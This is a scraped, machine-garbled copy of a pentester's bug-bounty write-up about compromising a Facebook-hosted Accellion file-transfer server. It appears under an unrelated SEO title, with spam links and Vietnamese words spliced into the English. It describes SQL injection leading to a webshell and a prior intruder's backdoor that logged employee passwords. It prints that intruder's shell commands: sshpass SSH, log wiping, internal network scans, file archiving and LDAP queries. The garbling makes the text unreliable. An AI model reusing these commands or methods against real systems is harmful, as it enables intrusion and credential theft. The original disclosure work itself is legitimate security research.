How to get to the code generator on a locked out facebook

How I Hacked Facebook, và Found Someone’s Backdoor Script (English Version) 滲透 Facebook 的思路與發現 (中文版本)

Foreword

As a pentester, I love sầu server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to lớn take over the hệ thống directly and gain system SHELL privileges.

Of course, both vulnerabilities from the server-side và the client-side are indispensable in a perfect penetration kiểm tra. Sometimes, in order to lớn take over the server more elegantly, it also need some client-side vulnerabilities lớn do the trick. But speaking of finding vulnerabilities, I prefer khổng lồ find server-side vulnerabilities first.

You watching: How to get to the code generator on a locked out facebook

With the growing popularity of Facebook around the world, I’ve sầu always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me lớn give it a shot.

From a pentester’s view, I tkết thúc to start from rebé & vì some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to lớn find a nice entrance to lớn get in, for example:

What can I find by Google Hacking? How many B Class IP addresses are used? How many C Class IPs? Whois? Reverse Whois? What domain name names are used? What are their internal domain names? Then proceed with enumerating sub-domains What are their preferred techniques & equipment vendors? Any data breach on Github or Pastebin? …etc

Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions mix forth by Bug Bounty, the overlapping part will be the part worth trying.

Here I’d like khổng lồ explain some common security problems found in large corporations during pentesting by giving an example.

For most enterprises, “Network Boundary” is a rather difficult part khổng lồ take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attaông xã only needs a tiny weak spot. That’s why luông chồng is often on the attacker’s side: a vulnerable VPS on the “border” is enough khổng lồ grant a ticket lớn the internal network! Lachồng of awareness in “Networking Equipment” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks. Security of people: now we have witnessed the emergence of the “Breached Database” (aka “Social Engineering Database” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to lớn the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victyên company will become nothing. :P

For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used lớn. When I was doing some renhỏ & research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And khổng lồ my surprise, I found an INTERESTING domain name name:


WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.

It looked lượt thích TFBNW was an internal tên miền name for Facebook. Let’s try to lớn enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:

Mail Server Outlook Web App F5 BIGIP SSL VPN CISCO ASA SSL VPN Oracle E-Business MobileIron MDM

From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.

Vulnerability Discovery

I found a special hệ thống among these C Class IPs.


*
↑ Login Interface of files.fb.com

Judging from the LOGO and Footer, this seems to lớn be Accellion’s Secure File Transfer (hereafter known as FTA)

FTA is a sản phẩm which enables secure tệp tin transfer, online file sharing & syncing, as well as integration with Single Sign-on mechanisms including AD, LDAPhường & Kerberos. The Enterprise version even supports SSL VPN service.

See more: Detailed Explanation About 8051 Programming In Assembly Language

Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The lademo one was found by HD Moore and made public on this Rapid7’s Advisory

Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective sầu v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began khổng lồ look for 0-Day vulnerabilities on FTA products!

Actually, from black-box testing, I didn’t find any possible vulnerabilities, và I had to lớn try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!

The FTA Product

Web-based user interfaces were mainly composed of Perl & PHP The PHPhường source codes were encrypted by IonCube Lots of Perl Daemons in the background

First I tried to lớn decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their sản phẩm source codes. Fortunately, the IonCube version used by FTA was not up to lớn date & could be decrypted with ready-made tools. But I still had to lớn fix some details, or it’s gonmãng cầu be messy…

After a simple reviews, I thought Rapid7 should have sầu already got the easier vulnerabilities. T^T And the vulnerabilities which needed lớn be triggered were not easy khổng lồ exploit. Therefore I need to lớn look deeper!

Finally, I found 7 vulnerabilities, including

Cross-Site Scripting x 3 Pre-Auth SQL Injection leads khổng lồ Remote Code Execution Known-Secret-Key leads khổng lồ Remote Code Execution Local Privilege Escalation x 2

Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.

CVE-2016-2350 CVE-2016-2351 CVE-2016-2352 CVE-2016-2353

More details will be published after full disclosure policy!

*
↑ Using Pre-Auth SQL Injection khổng lồ Write Webshell

After taking control of the hệ thống successfully, the first thing is lớn kiểm tra whether the VPS environment is friendly to lớn you. To stay on the hệ thống longer, you have to be familiar with the environments, restrictions, logs, etc & try hard not to be detected. :P

There are some restrictions on the server:

Firewall outbound connection unavailable, including TCPhường, UDP, port 53, 80 and 443 Remote Syslog VPS Auditd logs enabled

Although the outbound connection was not available, but it looked like ICMPhường Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the VPS with a webshell.

Was There Something Strange?

While collecting vulnerability details & evidences for reporting to Facebook, I found some strange things on website log.

First of all I found some strange PHPhường. error messages in “/var/opt/apache/php_error_log” These error messages seemed khổng lồ be caused by modifying codes online?

*
↑ PHP error log

I followed the PHP. paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.

*
↑ Webshell on facebook server

some contents of the files are as follows:

sshpass

Right, THAT sshpass
The first few ones were typical PHP one-line backdoor và there’s one exception: “sclient_user_class_standard.inc

In include_once “sclient_user_class_standard.inch.orig” was the original PHP ứng dụng for password verification, và the hacker created a proxy in between to lớn log GET, POST, COOKIE values while some important operations were under way.

A brief summary, the hacker created a proxy on the credential page to lớn log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while


*
↑ Logged passwords

From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, và these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)

And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “
fb.com) used LDAP and authenticated by AD Server

I believe sầu these logged credentials were real passwords và I GUESS they can access lớn services such as Mail OWA, VPN for advanced penetration…

In addition, this hacker might be careless:P

The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of comm& error messages in website log which the hacker’s operations could be seen

From access.log, every few days the hacker will clear all the credentials he logged


192.168.54.13 - - 17955 "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...

mèo tmp_list3_2 | while read line; vị cp /home/filex2/1000/$line files; done 2>/dev/stdouttar -czvf files.tar.gz files

dig a archibus.thefacebook.comtelnet archibus.facebook.com 80curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.phpdig a records.fb.comtelnet records.fb.com 80telnet records.fb.com 443wget -O- -q http://192.168.41.16dig a acme.facebook.com./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no 'for i in $(seq 201 1 255); vì chưng for j in $(seq 0 1 255); do emang đến "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout...

See more: Gift Code Tiến Lên Miền Nam, Phiên Bản Mới Với Nhiều Code


Use ShellScript to lớn scan internal network but forgot to lớn redirect STDERR XD

*

Attempt khổng lồ connect internal LDAP server


sh: -c: line 0: syntax error near unexpected token `('sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'

sh: /etc/opt/apache/ssl.crt/VPS.crt: Permission deniedls: /etc/opt/apache/ssl.key/hệ thống.key: No such file or directorymv: cannot stat `x': No such tệp tin or directorysh: /etc/opt/apache/ssl.crt/server.crt: Permission deniedmv: cannot stat `x': No such file or directorysh: /etc/opt/apache/ssl.crt/VPS.crt: Permission deniedmv: cannot stat `x': No such tệp tin or directorysh: /etc/opt/apache/ssl.crt/hệ thống.crt: Permission deniedmv: cannot stat `x': No such file or directorysh: /etc/opt/apache/ssl.crt/hệ thống.crt: Permission deniedmv: cannot stat `x': No such tệp tin or directorysh: /etc/opt/apache/ssl.crt/VPS.crt: Permission deniedbase64: invalid input

After checking the browser, the SSL certificate of files.fb.com was *.fb.com …

*

Epilogue

After adequate proofs had been collected, they were immediately reported to lớn Facebook Security Team. Other than vulnerability details accompanying logs, screenshots và timelines were also submitted xD

Also, from the log on the hệ thống, there were two periods that the system was obviously operated by the hacker, one in the beginning of July và one in mid-September

the July one seemed lớn be a hệ thống “dorking” và the September one seemed more vicious. Other than hệ thống “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :Phường The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.

Here’s the kết thúc of the story, và, generally speaking, it was a rather interesting experience xD Thanks lớn this sự kiện, it inspired me khổng lồ write some articles about penetration :P

Last but not least, I would like khổng lồ thank Bug Bounty và tolerant Facebook Security Team so that I could fully write down this incident : )

Timeline

Share this on Facebook or Twitter


Chuyên mục: giftcode